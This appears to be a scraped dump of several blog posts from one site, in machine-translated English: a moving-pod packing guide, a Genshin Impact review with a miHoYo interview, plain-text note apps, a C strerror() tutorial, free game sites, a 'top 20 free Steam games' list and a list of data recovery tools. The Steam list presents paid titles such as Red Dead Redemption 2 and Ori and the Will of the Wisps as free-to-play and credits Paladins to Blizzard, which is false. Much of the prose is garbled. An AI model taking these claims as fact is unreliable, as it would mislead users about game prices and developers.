bottom of the container to shield them from direct sunlight. This is especially important for moving pods that have transparent roofs. The container may be left outdoors for a number of weeks and will be subjected to the heat of the sun, which may cause harm to your possessions in the event that they aren't properly protected.\nIt is crucial to be able pack a storage container. But, it's essential to have the ability to complete the task quickly and efficiently. This will guarantee an easy and enjoyable move for you and your family. You are able to choose moving and storage company to assist you, for example Zeromax.\n  Practical tips for efficient moving pod packing The smallest details make a huge difference when it comes time to relocate using containers for moving like they do with so many other things in the world. Here are some ideas for packing your container to ensure you've considered all aspects.\nFill in any unfilled spots in the pod to utilize the available space while also giving stability. You will decrease the risk that your belongings will move when you are relocating. You should leave enough space between your belongings and the entrance of the pod to allow it to unload pods. Items that are heavy are best placed in the lower part of the room. After that, lighter items should be put on the highest point. You can plan ahead and load your moving containers in a methodical manner. The largest and most heavy items should be loaded first. Be aware that you will need space to move smaller items and cartons towards the back of the container. Learn about what to not pack in a pod, i.e. It is not recommended to transport liquids, toxic substances, or any other hazardous objects in a container that is moving. Additionally, avoid packing fragile items like artwork, sensitive electronics that may get destroyed by heat along with important and essential items, such as jewelry, objects with high emotional value, essential papers, and a survival kit. These things should be transported in your bag.\nPacking a moving pod ncG1vNJzZmismaXArq3KnmWcp51kvaKvyqKloGWRYrqwwsinnmaon5k%3D\n","link":"/post/packing-a-moving-pod/","section":"post","tags":null,"title":"Packing a moving pod"},{"body":"Genshin Impact has reappeared over the past year with trailers or events but quickly disappeared from view. A few days ago, the game was released for free on PS4, PC and mobile platforms, which is considered a surprise for many fans.\nHowever, there are some concerns surrounding the game as it is free to play. The same privacy concerns have also been raised and are now addressed by the game's makers.\nGenshin Impact Assessment The anime game Genshin Impact has been considered by many to be part of Zelda: Breath of the Wild as it follows a similar role-playing mechanism. However, the game still lives up to its true nature as players spend some time on the game as it will take some time before they can understand what's really going on.\nThe game begins with a cutscene where a god-like creature takes the player's twin avatar in captivity. The same creature then deprives the player's character's power to travel from world to world.\nHistorical images So the player is left to start the journey in search of the twins leading to great discoveries and quests. Players must complete quests and dungeons that allow them to get some eye-catching avatars.\nPlayers can swap out their main character in place of an avatar obtained through the in-game pay mechanism.\nAlthough the main game has the overall search for the protagonist's twins, the game has an open world that keeps players busy with side quests.\nA comparison to The Legend of Zelda at the moment is inevitable as the game's open world is inspired by it, thus reminding players of a better game they can always come back to. .\n  Open world games have been complaining that they are not stable after a while. However, the open world of Genshin Impact retains something interesting throughout its run.\nOverall, Genshin Impact is an interesting game that anime fans will love, and game fans will mostly find it interesting.\nThe plot of Genshin Impact The game starts as a player in an open world where your character is trapped. You used to travel with your sibling, which you chose at the start of the game. The other has been taken away, and now you are trying to get them back.\nYou seek the help of locals but just like in real life; Everyone is busy with their work. So, like a hero in an open world RPG game, you fight yourself to save the day.\n  Free game to play It is very similar to any other Open World RPG game, it encourages exploration. It is very much like an action game. Genshin Impact is a free game that offers in-game purchases. Don't worry we'll discuss that in just a second.\nBut like I said, it's free to play so if you're interested you can download it yourself right now just download it on your PC, PS4, Android or iOS. There will also be a Nintendo Switch version next year.\nCross play My impression is that Genshin Impact supports cross-platform play. It started out as a single player game but evolved into a multiplayer game. You can cross play between mobile device, PC and PS4.\nThere's also an option to cross-save between PC and mobile if you're someone like me who's always switching between PC and Smartphone, which is a huge boon. However, there is no cross-save for PS4.\n  Areas Until now, the game sounds like a dream come true, doesn't it? But when you start playing Genshin Impact, you're always online, which means you have to pick a server at the start and for a game with so many cross-play and cross-save options, it's crazy it Not available between regions.\nSo if you want to switch servers, you basically have to start the game from scratch and if your friends are on different servers, just say goodbye to them.\nGameplay As I mentioned above, the game started as a single player game and evolved into multiplayer. Your character can roam the world, doing story quests, side quests.\nThe game mechanism is similar to other similar games in that you can climb any surface as long as you have stamina, you can also swing in the wind.\nThe world is full of activities, possibly enemy camps for you to clean up (once you defeat everyone, you'll get a chest). There are environmental quizzes (you will get chests after solving), and challenges (after solving you will get chests).\nBasically, everything gives you a chest. But instead of providing locations for every little activity on the map, the game encourages you to use your own eyes and spot things in the distance.\n  As you progress through the story, you unlock more things to do in the world, as well as new dungeons and characters. The characters are quite unique in this game, you can switch between characters quickly.\nEach character has a different elemental attribute, a basic attack, a special ability usually related to their element, and an ultimate attack.\nEach character can be leveled up individually, and you can also equip your own different weapons and relics, upgradable weapons and relics.\n  Make money Senshin Impact is one of the most Free-to-play-friendly games I've ever seen, which means players who don't want to spend money on it can enjoy the game as much as any player. any other.\nYou can easily complete the game without spending a penny. You can also get new characters and weapons by completing different missions and objectives.\nDiscuss the unique free-to-play model of Impact Genshin Impact 1. What is the impetus to release Genshin Impact as a Free to Play game? miHoYo: The F2P system allows more players to access the game and players can freely choose whether or not they want to spend money based on their experience with the game. Our goal is to allow players to experience Genshin Impact for themselves and enjoy it at their own pace.\n2. What can we expect from micro-transactions? Can we expect additions to the story? New character? miHoYo: Genshin Impact is a free game. Players can download the game and experience it for themselves for free. The in-game store allows the player to purchase Genesis Crystals, supplies, as well as Primogems.\nPrimogem is used to purchase Wish items, such as Intertwined Fate and Acquaint Fate, which in turn can be used to acquire rare weapons and characters. Other items like Gnostic Hymn and Gnostic Chorus are used to upgrade Sojourner's Battle Pass and receive in-game items.\nThe story of Genshin Impact is an ongoing process that will continue to evolve over the next few years. We only introduced two of Teyvat's seven major cities at the time of launch, so this is just the tip of the iceberg of what's to come. New stories, cities, maps and characters will continue to be released, revealing more and more secrets of the world of Genshin Impact.\n  3. With so many comparisons to Legend of Zelda: Breath of the Wild, how did critics call Genshin Impact a clone of the famous game? miHoYo: The Legend of Zelda: Breath of the Wild is one of the most famous and respected titles in the industry, and one that is highly appreciated by our staff. In a post our team submitted to players last year, we mentioned that The Legend of Zelda: Breath of the Wild was one of our inspirations for creating Genshin Impact as a action role-playing game open world.\nIt's important to note that once you actually choose the game, you'll find the experience of Genshin Impact very different from the experience of The Legend of Zelda: Breath of the Wild. Genshin Impact has a completely original story and characters, and the core gameplay revolves around bringing together a team of characters and participating in a combat system based on interactions between different elements. .\nDuring the first few open betas, we invited selected players to experience the game and provided us with feedback. With the game launching on September 28, we hope that players will be able to experience the uniqueness of the game, and of course they will enjoy the experience.\n4. How will the cross play function in Genshin Impact be? Can you explain how the Google account will link on PS4 and PSN? miHoYo: PC and mobile devices can share data with miHoYo account. PlayStation players can play co-op alongside both PC and mobile players, but cannot share account data with other platforms. Google accounts cannot be linked to PSN accounts at this time.\n5. MiHoYo is primarily known for the production of mobile games. Genshin Impact was something that kicked off the studio. Can you tell us the challenges that have been overcome when moving to console development? miHoYo: A cross-platform open world game is not an easy one to develop, requiring developers to think about game development from a cross-platform perspective. It's important to understand the strengths and weaknesses of each platform, ensuring that games run smoothly on PCs, mobile devices, and consoles while leveraging each platform's hardware capabilities.\nThe work needed to thrive on multiple platforms at the same time far exceeded our expectations. For example, when creating art resources, we must first set up a cross-platform generic solution and choose the right technology deployment for each platform, then develop art instruction for each platform based on on that solution, to deploy features and create art resources.\nOur team's youthfulness and inexperience are also a challenge. As a platform designed for gaming, the PS4's hardware design and minimal driver layer gives a lot of freedom for development, but is also a challenge for effective development.\nFeature development is only the first step; Using and optimizing PS4 hardware requires a lot of effort. Fortunately, we have a very dedicated and motivated team that works hard to resolve any issues we encounter during development and beta testing.\n6. With so many Free to Play titles vying for players' attention, what makes Genshin Impact different that will grab people's attention and more importantly keep them playing for years to come? miHoYo: Genshin Impact showcases a lot of things we want to do in a video game, including an original story, elemental interactions as well as the single-player and co-op modes that PC players, set mobile device and PlayStation experience itself.\nThe September 28 launch is just the first step in an ongoing process as we keep updating the game. We are committed to adding new features and content to continue improving the gaming experience.\n7. How does MiHoYo balance the challenges of the game between single player and multiplayer to create an equally entertaining experience? miHoYo: We're looking to provide an immersive open world with Genshin Impact, giving players the complete choice of either experiencing the game in single player mode or inviting friends to take part in tests. certain challenges (eg boss fights and domain challenges) in parties of up to 4 players.\nThe two modes have different focus and reward in their own way. Note that you must reach Adventure Rank of 16 to unlock co-op mode.\n8. Will there be specific missions designed to be completed through multiplayer? Such as the dungeon? miHoYo: As we mentioned, Genshin Impact gives players complete freedom in completing the game on their own or inviting their friends to explore the world together and complete certain challenges like hitting bosses and fields.\nWhich one you choose is entirely up to you - there are no stages or challenges that can only be completed in co-op mode.\nmiHoYo Genshin Impact ncG1vNJzZmismaXArq3KnmWcp51kv6bCyJ6urGWfo3qosc2sn6KmXZ66sa3CrWSfqpWaeqK6yKacZp%2BRorJurthmpKKgn668\n","link":"/post/reviews-genshin-impact-free-anime-game-by-mihoyo/","section":"post","tags":null,"title":"Reviews Genshin Impact free anime game by miHoYo"},{"body":"There are countless application notes available, but most of these tools limit you to one way or another. Many of these software use their own format for notes, making it difficult to move notes between applications. Worse, you never know when they can disappear, taking the data you keep on the application.\nThere is a simple replacement for these applications. This is plain text. A plain text file can exist for many years. All you need is an application that makes it easy to create, edit and search your notes in plain text.\nCreate Plain Text notes on Mac, Windows, Linux, iOS and Android Mac Windows Linux iOS Android Mac There is a special reason why the article started with Mac. The reason is that many applications on this list go to Notational Velocity, a Mac application, for inspiration.\n  NValt, as its name suggests, is a branch of Notational Velocity with MultiMarkdown support. This tool is also quite updated, which means it will work better on recently released macOS versions.\nThe interface of NValt is very simple. You have a frame at the top or left that shows you a list of notes. At the bottom or right is the note you are currently editing. You can sync or store notes with Simplenote, Dropbox (in a synchronized folder) or any other service to access notes on different devices.\nBoth searching and creating new notes are done in the same way. Start typing in the search bar. If the content you entered does not match an existing note, press Enter and a new note with that title will be created.\nWindows Because NValt is only for Mac, you will need another application for Windows. ResophNotes is basically a copy of Notional Velocity for Windows and performs tasks with pretty good notes.\n  ResophNotes interface is quite familiar if you have used Notational Velocity or NValt. The completed note is displayed on the left, while the edited note is displayed on the right.\nInstead of creating notes by searching, you need to press Ctrl + N This is still quick and easy to create, as well as finding notes exactly as you expect. To synchronize, you can use Simplenote or plain text file in the synchronized folder.\nLinux If you want to use Linux, the options will be slightly limited compared to other platforms. The easiest way is to use the official Simplenote application.\n  Simplenote has applications for Linux, Mac, Windows, Android and iOS. The interface works the same on every platform, so you don't have to worry about which key to do what on different platforms.\n  If you like to store plain text files, you have another option, but a bit more complicated. Install the Atom text editor, then install the Atom Notes extension. This tool is based on Notational Velocity and supports many similar features. If you use Atom, you'll find this a great option, works on both Windows and Mac.\niOS There are many text editors that support Markdown and Dropbox synchronization on iOS. One of the best apps is 1Writer (http://1writerapp.com/), which provides some of the best search features among the apps that the article tested for iOS.\n  1Writer is priced at $ 4.99 (VND 125,000) in the App Store, but does not have an in-app purchase feature. The application supports synchronization with Dropbox, URL Schemes in iOS and iOS sharing. 1Writer also has a number of color palettes including Dark Mode.\nAndroid IA Writer is available on most platforms on this list except Linux. The reason it is placed in the Android part is because the Writer IA is the best text editor that supports Markdown on this platform.\n  For many years, IA Writer was sold at various prices on the Google Play Store. Since 2016, Information Architects has provided free software on Google Play Store with optional in-app purchases.\nConverting your notes to plain text may take some time, but once you choose this option, you can be flexible in any situation. Whether you want to use another application or plan to switch to a new operating system, notes will follow you anywhere. Note not the only thing that plain text promotes its strengths.\nWish you find yourself the right application!\nncG1vNJzZmismaXArq3KnmWcp51kwamxjJucrKxdpbmitc1mq56wpGK7sMDErGSaqKChtqSt06Kmp2WWpL9urculZKmkkamzsL7MrA%3D%3D\n","link":"/post/the-best-plain-text-notes-application-for-all-platforms/","section":"post","tags":null,"title":"The best plain text notes application for all platforms"},{"body":"The function char * strerror (int errnum) searches for an internal array for errnum error numbers and returns a pointer to a string of error messages.\nDeclaring strerror () function in C Here is the declaration for strerror () in C:\nchar * strerror ( int errnum )  Parameters errnum - Usually errno , describes the error number.\nReturns the value This function returns a pointer to the error string describing errnum error.\nFor example The following C program illustrates the usage of strerror () in C:\n#include #include #include int main () { FILE * fp ; fp = fopen ( \"thuvienc.txt\" , \"r\" ); if ( fp == NULL ) { printf ( \"Error: %sn\" , strerror ( errno )); } return ( 0 ); }  Compiling the C program will result (because we open a file that does not exist):\n  According to Tutorialspoint\nPrevious article: strcspn () function in C\nNext lesson: strlen () function in C\nncG1vNJzZmismaXArq3KnmWcp51kwamxjKyrq52ip7yzecWupZysmaS7brXNZpo%3D\n","link":"/post/the-strerror-function-in-c/","section":"post","tags":null,"title":"The strerror () function in C"},{"body":"Most game download sites share a common feature: Not offering full-featured games and not completely free. On these websites, you mostly find trial games (demo games) and have to register for newly downloaded members. The 5 websites below are no exception but they do have some free but \"worthwhile\" things.\n1. Myabandonware.com My Abandonware is an old repository of games (mainly for PC computers) that have been abandoned by developers. This site has a range of easy-to-recognize titles from the 'first sight' from shooters like Doom to real-time strategy games like WarCraft II. With more than 14,000 games spanning 1987 to 2017, it is proud to say that there are games that suit the needs of each person.\n  It is important to note that the legitimacy of websites that host 'abandoned' software. Abandonware contains software that is no longer developed and copyright is no longer enforced. However, this does not mean that games are in the public domain. Sometimes, \"abandoned\" software posted by copyright holders or companies that created the software no longer exists.\n2. Good Old Games (GOG)   Most GOG games are priced, however, there are still many free games. Just go to the homepage, in the search filter select Price as Free to find these free games. In addition, all GOG games have no DRM, which allows users to buy games once and install them on other devices.\n3. Itch.io Previously, independently developed games were considered low-quality games, not polished by amateurs. Thankfully, gamers have said goodbye to that stigma. If you are a fan of independent games with unique story and gameplay, these games are a great choice. Itch.io stores over 100,000 free games from RPG to puzzle games.\n  Although the site has many free games to choose from, there are still paid games. In addition, Itch.io also connects players with developers. Users can follow their favorite developers and get quick project updates.\n4. Internet Arcade / Console Living Room Archive.org is a regularly updated digital cultural archive. Luckily for gamers, it also stores games. Archive.org has a vast collection of games, appearing on various gaming machines. These games are organized into the Console Living Room and Internet Arcade libraries.\n  Console Living Room is where you will find the old game console games from Atari 2600 to the original Playstation. Internet Arcade has a series of coin-operated arcade games like Out-Run and Space Invaders. Many of the games found in the Archive.org collection are free, so you can download and play them on your computer. (Note: to play games on game consoles or arcade games using coins you will need an appropriate emulator.) With games that do not download, you can play directly in the browser.\n10 best software emulators for gaming consoles 5. Steam Steam is the leading online game retailer. This is where a lot of games and its libraries are constantly being updated. Steam can be known as a portal for AAA, but it also has many free games to choose from.\n  Previously, Steam had some quality control issues, however you could filter the titles available according to the most common ones to avoid scammers.\nHow to optimize Steam download speed in Windows 10 See more:\nRemembrance with 7 classic classic games for free on smartphones Top best free horror game on PC and download link 14 most attractive free games on Linux ncG1vNJzZmismaXArq3KnmWcp51kwamxjLCcm6uZqbJuu8WfnKurXZu%2FprGMoJimnaM%3D\n","link":"/post/the-website-offers-free-games/","section":"post","tags":null,"title":"The website offers free games"},{"body":"In this article, I would like to introduce to you the best steam games worth playing in 2021.\nWant to experience storing your favorite video games on your computer through steam? And you don't know which games to choose from? Right now, the following article will summarize all game genres that are free to play on Steam.\nIf you do not know how to play games on Steam, please refer to the article on installing and playing games on Steam.\n20 great games on Steam for free On Steam there are many types of games, from fighting to role-playing games. Depending on your preferences, you can choose your theme. Here is a list of the hottest games on Steam at the moment.\n1. World of Warships   This is a free online naval war game on steam, with more than 320 ships of 4 types and 11 countries waiting for you.\nThe battles in World of Warships will give you the most exciting experience.\n2. Star Conflict   It is the most multiplayer free online space action game on Steam, a game that simulates space battles of spaceships. with beautiful, outstanding 3D graphics.\nStar Conflict includes many different PvP modes, possessing some RPG elements such as upgrading warships, fitting items, and experience points after each victory. 3. Rift   Rift is an MMORPG from Trion Games, which is free to play on steam. It has been over a decade, but is still considered by many gamers to be the most handsome game.\nIn the game, you will discover new worlds in the universe, and go through an arduous journey to learn new skills, find special weapons, and begin to destroy the enemies. monster.\n4. Warframe   Warfame is a free-to-play online multiplayer role-playing game on steam, published by Digital Extremes.\nIn the game, you will be teaming up or playing independently to destroy the monsters, each player will bring himself an armor, and if you want to create a new armor, during the game you must accumulate enough materials. and when starting to craft the armor, you have to wait 24 to 72 hours to finish.\n5. EVE Online   EVE Online is open for free on steam, what are you waiting for without downloading it?, it's a great MMO game.\nIn the game, you do not need to choose a character or weapon, you simply need to build and develop an army, control the entire galaxy against the enemy.\n6. Warface   Warface is a free-to-play first-person shooter game on Steam. Developed by Crytek Kiev and published by CryEngine 3, Crytek Seoul and Crytek Frankfurt.\nIn the game, you will fight with friends in co-op or versus mode, you must have a clear strategy to become the ultimate assassin.\nThe game with beautiful 3D graphics, along with the sophistication of the characters, will give you the most enjoyable experience.\n7. BattleriteRoyale and Battlerite   BattleriteRoyale and Battlerite is a strategy game, belonging to the MOBA genre and developed by Stunlock Studios and upon release it immediately became a best-selling game, and so far it has been free on Steam.\nIn the game, you will ride a summoned beast into the battle arena and collect items such as magic potions, meteor summoning spells, bear traps, . to equip and prepare for the final battle. and.\n8. Brawlhalla   Brawlhalla is a free online game on steam developed by Blue Mammoth Games and Vedanth Nag.\nIn the game, you will be able to choose a character and learn skills to dodge attacks, attack enemies directly, and then start the battle to take your opponent out of the match to win and help yourself increase. higher ranking.\n9. Counter-Strike: Global Offensive   This is a free first-person shooter game on Steam, developed by Valve Corporation and Hidden Path Entertainment.\nIn the game, you will be divided into two teams and compete with each other through each person's tactics and skills to defeat the opponent.\n10. Crusader Kings II   Crusader Kings II is a free game on steam of the real-time war genre, set in medieval Europe, developed and published by Paradox Interactive.\nIn the game, you will choose for yourself a clan, become a lord and start competing for territory with other clans. You are allowed to manage the people in the clan, allowing them to get married, get married, have children, .\nIf you find playing alone boring, then you can choose to play with many people and together compete for territory and resources.\n11. Destiny 2   Destiny 2 is a free online first person shooter game on steam, developed by Bungie and they always take care of the stability of the game.\nIn the game, you can play in various modes like Story, Adventures, and Quest or fight other players like Crucible and Trials of Osiris. In addition, you can also combine playing with friends, fighting together.\n12. Dota 2   Dota 2 is a strategy game combined with an online MOBA that is free on steam, and published by Valve Corporation.\nIn the game, you will be selected to participate in 1 of 2 teams, each team will have 5 participants. And fight together, find a way to destroy the opponent's main house to win.\n13. Fallout Shelter   Fallout Shelter is a free simulation game on steam, developed by Bethesda Game Studios and published by Bethesda Softworks.\nIn the game, you will be managing a cellar from Vault-Tec, your job is to maintain life in this place, ensuring that food and water are always adequate. and guard against enemy attacks.\n14. Neverwinter   Neverwinter is a free-to-play online fantasy role-playing game on Steam, developed by Obsidian Entertainment and published by Atari.\nIn the game, you will be able to choose a character and fight together, collecting equipment, weapons and skills.\n15. Paladins   Paladins is a first-person shooter game, produced by Blizzard.\nIn the game, you will choose for yourself a character from 4 types: Front Line, Damage, Support, and Flank, each character will have different health, damage and skills, every week the game will rotate the multiplier. characters and you can choose new characters to experience in the match.\n16. Path of Exile   Path Of Exile is a free action role-playing game on Steam, developed and published by Grinding Gear Games. The game is set in the murky land of Wraeclast.\nIn the game, you will choose for yourself 1 of 6 character classes: Witch, Shadow, Ranger, Marauder, Duelist, Templar. Each character will have different skills, and are upgraded with gems.\n17. Terraria   Terraria is the most played action-adventure game on Steam in 2021, developed by Re-Logic, with 2D graphics and Sandbox shading effects.\nIn the game, you can search for materials to build houses and castles. In addition, you can also search for giant monsters to destroy, to help increase experience and collect necessary items.\n18. A Hat in Time   This is a free to play 3D adventure game on steam, developed by Gears for Breakfast and published by Humble Bundle.\nIn the game, you will play as a super kute girl traveling in space with a spaceship, but unfortunately on the way, the ship breaks down. And your job is to perform the task to operate the ship again.\n19. Red Dead Redemption 2   Red Dead Redemption 2 is a free-to-play open-world action-adventure game on steam, developed by Rockstar Studios and published by Rockstar Games.\nIn the game, you will play the role of a cowboy named Arthur Morgan living out of the law, you are chased by the police and find ways to survive, disguised as an executive officer, or a business employee. business.\n20. Ori and the Will of the Wisps   It is a free-to-play adventure game on steam, developed by Moon Studios and published by Xbox Game Studios for Microsoft Windows and Xbox One.\nIn the game, you will control Ori, \"a shadowy spirit\" that can move and jump to fight other forces to restore light to the forest.\nThus, in this article, I have shared with you the best hit games on Steam, full of genres, from adventure to shooting action, and all are free to play on steam. You can download all of them and experience them when you have free time.\nFree Games Steam ncG1vNJzZmismaXArq3KnmWcp51kwbC8jGtnZp%2Bimq61ecWrnJ5ll5a6pr%2BMqKVmq6Sarq55kWlpag%3D%3D\n","link":"/post/top-20-great-free-games-on-steam-2021/","section":"post","tags":null,"title":"Top 20 great free games on Steam 2021"},{"body":"You accidentally deleted all important data but didn't know how to recover it. This article will introduce 20 free software to recover deleted data on hard drive, USB, memory card.\nNotes when performing data recovery :\n+ If the lost data is stored together with the place where the operating system is installed (usually drive C), immediately turn off the computer and unplug the hard drive to switch to another machine, then use the software to recover.\nAbsolutely should not run or open any programs because they will write data on the partition with data deleted by mistake without our knowledge.\nWhen using data recovery software, you should use deep scan mode if there are many important data.\nPower Data Recovery \u0026nbsp;is a safe, read-only software product used to recover lost data. The program is recoverable on both FAT and NTFS partitions.\n  Features\nThis program finds deleted files quickly and can recover files from both internal drives and USB devices.\nPower Data Recovery allows searching in deleted data, recover multiple folders or files at once, export a list of deleted files to TXT file and filter files by name, extension, size and date month.\nInformation\nPublisher: MiniTool Solution.\nOperating System: Windows XP / Vista / 7/8/10.\nSize: 16.4 MB.\n- Recommended configuration: CPU Pentium or above.\n- Download link:\u0026nbsp; HERE\u0026nbsp;.\nDisk Drill is an excellent free data recovery program not only because of its features but also because of its very simple design. It can recover data (up to 500 MB) from most storage devices such as drives, USB devices, and memory cards.\n  Features\n- Disk Drill can preview image files before recovering them, stop scanning and continue afterwards.\nRestores partitions, backs up entire hard drives, filters files by date and size, runs quick scans and full scans, saves results so they can be easily imported to restore deleted files.\nInformation\nPublisher: CleverFiles.\nOperating System: Windows XP / Vista / 7/8 / 8.1 / 10.\nSize: 44.9 MB.\n- Recommended configuration: CPU Pentium or above.\n- Download link:\u0026nbsp; HERE\u0026nbsp;.\nRecuva is the best free data recovery software available. Can recover deleted files from your computer including: files deleted from computer, Recycle Bin, memory card of digital camera, .\n  Features\n- Recover deleted data files, files from corrupted drives, deleted files from email, .\n- Quick recovery of compressed files, full support of languages.\nInformation\nPublisher: Piriform.\nOperating System: Windows XP / Vista / 7/8.\nSize: 3,8 MB.\n- Recommended configuration: CPU Pentium or above.\n- Link download:\u0026nbsp; DOWNLOAD HERE\u0026nbsp;.\nPuran File Recovery is one of the best free data recovery programs, allowing you to recover deleted / lost files / partitions quickly.\n  Features\n- Quick scan to list deleted files with just a few clicks, scan RAW and physical drives.\nRecovered files can be saved to their original path. Support more than 50 formats / data.\nInformation\nPublisher: Puran Software.\nOperating System: Windows 2003 / XP / Vista / 7/8.\nSize: 2.3 MB.\n- Recommended configuration: CPU Pentium or above.\n- Download link:\u0026nbsp; HERE\u0026nbsp;.\nGlary Undelete is a useful tool that provides you with a quick and effective way to recover files deleted by accident.\n  Features\n- Supports the following file systems: FAT, NTFS, NTFS +, EFS, recover encrypted, fragmented and compressed files on NTFS.\n- Filter files by name, creation date, size and recovery status.\nInformation\n- Publisher: Glarysoft.\nOperating System: Windows 2000/2003 / XP / Vista / 7.\nSize: 5.3 MB\n- Recommended configuration: CPU Pentium or above.\n- Download link:\u0026nbsp; HERE\u0026nbsp;.\nSoftPerfect File Recovery is another great file recovery program. It will recover files from hard drive, memory card, any device on the computer that can store data (except CD / DVD drive).\n  Features\n- Recover deleted files on partitions formatted FAT12, FAT16, FAT32, NTFS, NTFS5.\n- Compact software weighs only 500 KB. You can run it from a USB drive or floppy disk.\nInformation\nPublisher: SoftPerfect.\nOperating System: Windows 95/98 / Me / NT / 2000 / XP / Vista.\nSize: 552 KB.\n- Recommended configuration: CPU Pentium or above.\n- Download link:\u0026nbsp; HERE\u0026nbsp;.\nEaseus Data Recovery Wizard is an application provided completely free of charge and helps you to solve all common problems that cause your data to be lost.\n  Features\nPowerful data recovery, preview before recovery.\n- Easy to use and safe.\nInformation\n- Publisher: EaseUS.\nOperating System: Windows XP / Vista / 7/8/10.\nSize: 40,6 MB.\n- Recommended configuration: CPU Pentium or above.\n- Download link:\u0026nbsp; HERE\u0026nbsp;.\nWise Data Recovery \u0026nbsp;is a free software that helps you recover lost data whether it's photos, documents, audio, video, compressed files or email.\n  Features\n- Recover documents, photos, email files, recover data from removable drives such as iPod, MP3 player.\n- Display the status of recovered data: 'Good', 'Poor', 'Very Poor' or 'Lost' in the scan result.\nInformation\nPublisher: WiseCleaner.\nOperating System: Windows XP / Vista / 7/8.\nSize: 2.1 MB.\n- Recommended configuration: CPU Pentium or above.\n- Download link:\u0026nbsp; HERE\u0026nbsp;.\nRestoration is similar to the other free recovery software on this list. Using Restoration is very simple, and the procedure for recovering files is not complicated. Restoration can recover files from hard drives, memory cards, and USB drives.\n  Features\n- This program has the ability to \"save\" files that have been accidentally deleted even when they are no longer in the Recycle Bin.\n- Restoration also has a function that allows for radical, irreversible deletion for the deletion of confidential documents.\nInformation\nPublisher: Brian Kato.\nOperating System: Windows NT / ME / 2000 / XP / Vista.\nSize: 163.8 KB.\n- Recommended configuration: CPU Pentium or above.\n- Download link:\u0026nbsp; HERE\u0026nbsp;.\n10. FreeUndelete software\nFreeUndelete is free data recovery software. FreeUndelete recovers deleted files, including those deleted from Windows recycle bin.\n  Features\n- Recover files from hard drives, memory cards and other similar storage devices in or connected to a computer.\nInformation\nPublisher: Recoveronix.\nOperating System: Windows XP / Vista / 7.\nSize: 939 KB.\n- Recommended configuration: CPU Pentium or above.\n- Download link:\u0026nbsp; HERE\u0026nbsp;.\nADRC Data Recovery Tools is an excellent, simple, simple file recovery program. It is a lightweight and flexible application designed to find information about deleted files and recover them.\n  Features\nEfficient data backup for those who accidentally delete important files such as private photos or sensitive documents.\nInformation\nPublisher: Adroit Data Recovery Center.\nOperating System: Windows XP.\nSize: 46 KB.\n- Recommended configuration: CPU Pentium or above.\n- Download link:\u0026nbsp; HERE\u0026nbsp;.\n12. Software CD Recovery Toolbox\nCD Recovery Toolbox is a completely free and very unique file recovery software. It is designed to recover files from damaged optical drives, CD, DVD, Blu-Ray, HD DVD, .\n  Features\nRecovers files from discs that are scratched or have surface stains.\nInformation\nPublisher: Recovery ToolBox.\nOperating System: Windows 95/98 / NT / ME / 2000 / XP / Server 2003 / Vista / 7/8.\nSize: 2.4 MB.\n- Recommended configuration: CPU Pentium or above.\n- Download link:\u0026nbsp; HERE\u0026nbsp;.\n13. UndeleteMyFiles Pro software\nUndeleteMyFiles is an application to recover lost or deleted files from your computer's hard drive. In addition, the program also has the ability to work on removable drives, USB devices, Flash memory cards, portable hard drives, .\n  Featured features :\n- Improved speed of recovering deleted data.\n- Free Pro version.\nInformation\nPublisher: SeriousBit.\nOperating System: Windows NT / 98 / Me / 2000 / XP / 2003 / Vista / 7.\nSize: 1.32 MB.\n- Recommended configuration: CPU Pentium or above.\n- Download link:\u0026nbsp; HERE\u0026nbsp;.\nTOKIWA DataRecovery is a completely free tool designed to help you locate and recover files that you have deleted or lost.\n  Featured features :\n- \u0026nbsp;Recover files after system: FAT12, FAT16, FAT32, NTFS, clean files to be deleted may never recover.\n- Recovers multiple files by searching for them using Shift / Ctrl, categorize the displayed items by clicking on the column header.\nInformation\nPublisher: TOKIWA.\nOperating System: Windows XP / Vista / 7.\nSize: 196 KB.\n- Recommended configuration: CPU Pentium or above.\nPC Inspector File Recovery is a tool designed to help recover accidentally corrupted, deleted or lost data on computer drives. The program supports recovery on devices such as hard drives, memory cards, USB, .\n  Featured features :\n- Recover data that has been lost or accidentally deleted due to user manipulation errors.\n- Allows you to preview the result of lost data, detailed display of parameters of data in interface queue such as name, size, date of deletion.\nInformation\nPublisher: Convar.\nOperating System: Windows XP.\nSize: 3.30 MB.\n- Recommended configuration: CPU Pentium or above.\n- Download link:\u0026nbsp; HERE\u0026nbsp;.\nOrion File Recovery Software is a free file recovery program from NCH Software. This software scans documents, pictures, videos, music or another file type.\n  Features\n- Can filter files by formats such as documents, pictures, music, videos.\nInformation\nPublisher: NCH Software.\nOperating System: Windows XP / Vista / 7/8/10.\nSize: 245 KB.\n- Recommended configuration: CPU Pentium or above.\n- Download link:\u0026nbsp; HERE\u0026nbsp;.\nBplan Data Recovery provides users a quick way to scan and recover lost data. This software will look for data after you accidentally delete or reformat the hard drive, USB or partition.\n  Features\n- \u0026nbsp;Recover data deleted on SD card or hard drive format, recover data from memory card, partition or formatted drive.\n- Supports multiple devices: internal hard drive, external hard drive, camera memory card, SD card, smart phone memory card.\nInformation\nPublisher: Bplan recovery.\nOperating System: Windows XP / Vista / 7/8.\nSize: 3,9 MB.\n- Recommended configuration: CPU Pentium or above.\n- Download link:\u0026nbsp; HERE\u0026nbsp;.\nTestDisk is an extremely powerful open source software for recovering accidentally deleted files. This tool is a bit difficult to use because it is limited by the command line interface and the recovery process has many steps.\n  Features\n- \u0026nbsp;PhotoRec can recover files from hard drives, optical drives, memory cards and from any storage device on the computer.\nInformation\nPublisher: Christophe GRENIER.\nOperating System: Windows NT / 2000/2003 / XP / Vista / 7/8.\nSize: 3.6 MB.\n- Recommended configuration: CPU Pentium or above.\n- Download link:\u0026nbsp; HERE\u0026nbsp;.\nUndelete 360 ​​is one of the best free and best software to recover accidentally deleted files from your computer.\n  Features\nSearch and recover files lost due to various factors such as accidental deletion, virus or software and computer failures.\n- Recovers files deleted from computer drives, USB drives, Camera devices, Pen Drives, memory cards and supports both file and folder recovery.\nInformation\nPublisher: File Recovery.\nOperating System: Windows XP / Vista / 7.\nSize: 2,5 MB.\n- Recommended configuration: CPU Pentium or above.\n- Download link:\u0026nbsp; HERE\u0026nbsp;.\nWondershare Data Recovery is an effective and safe software used to recover all lost videos, photos, documents, emails, . from devices such as computer hard drives, USB drives, external hard drives, .\n  ​\nFeatures\n- The software will help you to recover many types of data, lost in many different cases.\nInformation\nPublisher: Wondershare.\nOperating System: Windows XP / Vista / 7/8 / 8.1 / 10.\nSize: 969,6 KB.\n- Recommended configuration: CPU Pentium or above.\n- Download link:\u0026nbsp; HERE\u0026nbsp;.\nTop 20 how to recover data 